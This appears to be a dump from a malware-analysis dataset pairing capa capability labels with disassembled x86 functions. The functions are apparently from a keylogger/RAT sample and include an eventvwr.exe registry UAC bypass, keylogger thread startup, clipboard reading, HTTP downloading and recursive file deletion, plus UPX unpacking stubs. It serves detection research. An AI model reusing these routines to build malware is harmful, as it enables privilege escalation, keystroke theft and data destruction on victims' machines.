joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1b16dc6
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov ebx, edx
push edi
mov edi, ecx
test ebx, ebx
jne 0x1b16dd9
or eax, 0xffffffff
jmp 0x1b16f2e
mov esi, dword [ebx]
mov cl, byte [esi]
cmp cl, 0x61
jl 0x1b16deb
cmp cl, 0x7a
jle 0x1b16ee5
cmp cl, 0x41
jl 0x1b16df9
cmp cl, 0x5a
jle 0x1b16ee5
cmp cl, 0x30
jl 0x1b16e07
cmp cl, 0x39
jle 0x1b16ee5
cmp cl, 0x2d
je 0x1b16ee5
cmp cl, 0x2e
je 0x1b16ee5
cmp cl, 0x5f
je 0x1b16ee5
cmp cl, 0x7e
je 0x1b16ee5
cmp cl, 0x25
jne 0x1b16e6c
mov al, byte [esi + 1]
cmp al, 0x30
jl 0x1b16e3b
cmp al, 0x39
jle 0x1b16e49
cmp al, 0x61
jl 0x1b16e43
cmp al, 0x66
jle 0x1b16e49
sub al, 0x41
cmp al, 5
ja 0x1b16ebc
mov al, byte [esi + 2]
cmp al, 0x30
jl 0x1b16e58
cmp al, 0x39
jle 0x1b16ee5
cmp al, 0x61
jl 0x1b16e64
cmp al, 0x66
jle 0x1b16ee5
cmp al, 0x41
jl 0x1b16ebc
cmp al, 0x46
jle 0x1b16ee5
cmp cl, 0x21
je 0x1b16ee5
cmp cl, 0x24
je 0x1b16ee5
cmp cl, 0x26
je 0x1b16ee5
cmp cl, 0x28
je 0x1b16ee5
cmp cl, 0x29
je 0x1b16ee5
cmp cl, 0x2a
je 0x1b16ee5
cmp cl, 0x2b
je 0x1b16ee5
cmp cl, 0x2c
je 0x1b16ee5
cmp cl, 0x3b
je 0x1b16ee5
cmp cl, 0x3d
je 0x1b16ee5
cmp cl, 0x3a
je 0x1b16ee5
cmp cl, 0x40
je 0x1b16ee5
cmp cl, 0x2f
je 0x1b16ee5
cmp cl, 0x3f
je 0x1b16ee5
cmp cl, 0x5b
je 0x1b16ee5
cmp cl, 0x5d
je 0x1b16ee5
test edi, edi
je 0x1b16f2a
mov eax, dword [edi + 0x24]
test al, 1
je 0x1b16ef8
cmp cl, 0x7b
je 0x1b16ee5
cmp cl, 0x7d
je 0x1b16ee5
cmp cl, 0x7c
je 0x1b16ee5
cmp cl, 0x5c
je 0x1b16ee5
cmp cl, 0x5e
je 0x1b16ee5
cmp cl, 0x60
jne 0x1b16ef8
xor edx, edx
inc edx
cmp cl, 0x25
push 3
pop eax
cmovne eax, edx
add esi, eax
jmp 0x1b16ddb
cmp dword [edi + 0x20], 0
je 0x1b16f0b
push dword [edi + 0x20]
call dword [0x11f95d30]
mov eax, dword [edi + 0x24]
pop ecx
mov edx, esi
sub edx, dword [ebx]
test al, 2
je 0x1b16f1e
push edx
push dword [ebx]
call 0x1af5c19
pop ecx
jmp 0x1b16f26
push ecx
mov ecx, dword [ebx]
call fcn.01b1533a
mov dword [edi + 0x20], eax
pop ecx
mov dword [ebx], esi
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x26f7390
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x170b000]
push edi
or ebp, 0xffffffff
jmp 0x26f73b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x26f73b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x26f73a8
mov eax, 1
add ebx, ebx
jne 0x26f73cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x26f73dc
jne 0x26f73fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x26f73fb
dec eax
add ebx, ebx
jne 0x26f73e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x26f73c0
add ebx, ebx
jne 0x26f73f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x26f744d
xor ecx, ecx
sub eax, 3
jb 0x26f7413
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x26f7482
sar eax, 1
mov ebp, eax
jmp 0x26f741e
add ebx, ebx
jne 0x26f741e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x26f73ec
inc ecx
add ebx, ebx
jne 0x26f742c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x26f73ec
add ebx, ebx
jne 0x26f7439
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x26f742e
jne 0x26f744a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x26f742e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x26f746c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x26f745e
jmp 0x26f73ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x26f746c
add edi, ecx
jmp 0x26f73ae
pop esi
mov edi, esi
mov ecx, 0x37e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x26f748a
cmp byte [edi], 0x13
jne 0x26f748a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x26f748f
lea edi, [esi + 0x22f4000]
mov eax, dword [edi]
or eax, eax
je 0x26f7507
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x231e1fc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x231e2c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x26f74bc
mov ecx, edi
jns 0x26f74eb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x231e2c8]
or eax, eax
je 0x26f7501
mov dword [ebx], eax
add ebx, 4
jmp 0x26f74d9
call dword [esi + 0x231e2c4]
mov ebp, dword [esi + 0x231e2cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x26f753b
sub esp, 0xffffff80
jmp 0x46f1ee
Function at 0x57f770
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x122000]
push edi
jmp 0x57f78a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x57f791
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57f780
mov eax, 1
add ebx, ebx
jne 0x57f7a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x57f7b4
jne 0x57f7d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57f7d3
dec eax
add ebx, ebx
jne 0x57f7c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x57f798
add ebx, ebx
jne 0x57f7cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x57f825
xor ecx, ecx
sub eax, 3
jb 0x57f7eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x57f85a
sar eax, 1
mov ebp, eax
jmp 0x57f7f6
add ebx, ebx
jne 0x57f7f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57f7c4
inc ecx
add ebx, ebx
jne 0x57f804
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57f7c4
add ebx, ebx
jne 0x57f811
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x57f806
jne 0x57f822
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x57f806
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x57f844
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x57f836
jmp 0x57f786
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x57f844
add edi, ecx
jmp 0x57f786
pop esi
mov edi, esi
mov ecx, 0x40d6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x57f862
cmp byte [edi], 0x11
jne 0x57f862
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x57f867
lea edi, [esi + 0x178000]
mov eax, dword [edi]
or eax, eax
je 0x57f8df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x219894]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x219a10]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x57f894
mov ecx, edi
jns 0x57f8c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x219a14]
or eax, eax
je 0x57f8d9
mov dword [ebx], eax
add ebx, 4
jmp 0x57f8b1
call dword [esi + 0x219a24]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x57f910
cmp al, 0xef
ja 0x57f903
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x57f8e5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x57f8f2
mov ebp, dword [esi + 0x219a18]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x57f944
sub esp, 0xffffff80
jmp 0x4204f7
Function at 0x403067
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x41a15c], ebx
push esi
push edi
je 0x403081
push 1
jmp 0x40316d
call fcn.0040322e
cmp eax, 0x3a9f
jge 0x40316e
push ebx
push 0x41465c
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push 0x80000000
push eax
call fcn.0040b3b2
add esp, 0x14
mov esi, 0x41ac98
mov ecx, esi
push 3
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, 0x80000001
push eax
push edi
call fcn.0040b788
add esp, 0x20
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push str.C:2d033ec00ab0dc66.cpl
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov esi, 0x4147f4
push esi
push 0x41479c
push edi
call fcn.0040b649
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.00412f8a
add esp, 0x2c
lea ecx, [ebp - 0x24]
push ebx
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x403159
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404cfc
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x413c24
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x41a8c8
mov ecx, esi
call fcn.00404dde
cmp edi, eax
jae 0x404d7c
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x404d70
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00404df4
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
call fcn.0040a217
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00404e21
inc edi
mov dword [ebp - 0x14], edi
jmp 0x404d1c
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404fef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [esi + 0x54]
mov byte [esi + 0x3c], 1
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00404fc5
xor edi, edi
cmp byte [0x41a158], 0x32
mov ebx, str.Offline_Keylogger_Started
je 0x405038
push edi
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405c2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.004119fe
add esp, 0x20
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x4050fa
push edi
push edi
call ebx
cmp dword [esi], edi
jne 0x405086
push edi
push edi
push esi
push 0x4050da
push edi
push edi
call ebx
push edi
push edi
push esi
push 0x405109
push edi
push edi
call ebx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405a16
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x3d], bl
jne 0x405ab5
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov edi, str.Online_Keylogger_Started
mov ecx, esp
mov byte [esi + 0x3d], 1
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405c2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.004119fe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x20
cmp byte [esi + 0x3c], bl
jne 0x405aa6
mov ecx, esi
call fcn.00404fc5
cmp dword [esi], ebx
jne 0x405a9a
push ebx
push ebx
push esi
push 0x4050da
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405109
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405118
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406a29
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x406a55
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x406a55
lea eax, [ebp - 1]
push eax
push esi
jmp 0x406a5e
lea eax, [ebp - 1]
push eax
push 0x41465c
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x407924
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x41a9a0], al
mov dword [0x41a9a4], ecx
je 0x407991
and dword [ebp + 8], 0
mov ebx, 0x414f94
mov edi, 0x41aa30
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, 0x80000001
push eax
push esi
call fcn.0040b30f
add esp, 0xc
test al, al
je 0x407991
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b358
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x407993
xor al, al
jmp 0x4079a5
xor eax, eax
push eax
push eax
push eax
push 0x4077fa
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40ac3c
Capabilities:
Terminate process

Disassembly:
and byte [0x41ad5c], 0
push ebx
push 0
push dword [0x41ad48]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x41ad48]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x411f16
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x271c
call fcn.004138d0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and byte [ebp + 0x13], 0
xor esi, esi
push esi
push esi
push esi
push 1
mov dword [eax], esi
push str.user
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x41200c
push edi
mov dword [ebp + 0x10], esi
mov dword [ebp + 8], esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x271c]
push 0x2710
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x411f8e
cmp dword [ebp + 0x10], esi
jbe 0x411fe5
mov eax, dword [ebx]
add eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx]
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx]
mov ecx, dword [ebp + 0x10]
add edi, eax
mov eax, ecx
lea esi, [ebp - 0x271c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
pop ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
add dword [ebx], eax
pop ecx
xor esi, esi
jmp 0x411f6c
push dword [ebx]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], eax
mov ecx, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + 0x13], 1
pop edi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
mov al, byte [ebp + 0x13]
pop esi
pop ebx
leave
ret

Function at 0x41207f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x4120ac
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x4125ed
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_wcscpy]
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x418]
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x418]
push 0x415b8c
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x210]
push 0x414994
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x412751
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop ecx
pop ecx
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41271c
lea eax, [ebp - 0x63c]
push eax
call fcn.004125b9
test eax, eax
pop ecx
jne 0x41272b
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
test byte [ebp - 0x668], 0x10
pop ecx
pop ecx
je 0x4126ee
lea eax, [ebp - 0x210]
push eax
call fcn.004125ed
test eax, eax
pop ecx
je 0x412748
lea eax, [ebp - 0x210]
push eax
call ebx
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call esi
pop ecx
pop ecx
jmp 0x41272b
test byte [ebp - 0x668], 1
je 0x412709
lea eax, [ebp - 0x210]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x412748
jmp 0x4126da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x412748
and byte [ebp - 1], 0
cmp byte [ebp - 1], 0
jne 0x412678
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x412743

Function at 0x412755
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x14]
push ebx
xor ebx, ebx
push esi
sub eax, ebx
je 0x412773
dec eax
jne 0x412781
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
jmp 0x412781
mov dword [ebp - 8], 0x40000000
mov dword [ebp - 4], 2
push ebx
push 0x80
push dword [ebp - 4]
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4127a3
xor al, al
jmp 0x4127da
cmp dword [ebp + 0x14], 1
jne 0x4127b9
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4127d1
lea eax, [ebp + 0x10]
push ebx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4127d1
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
leave
ret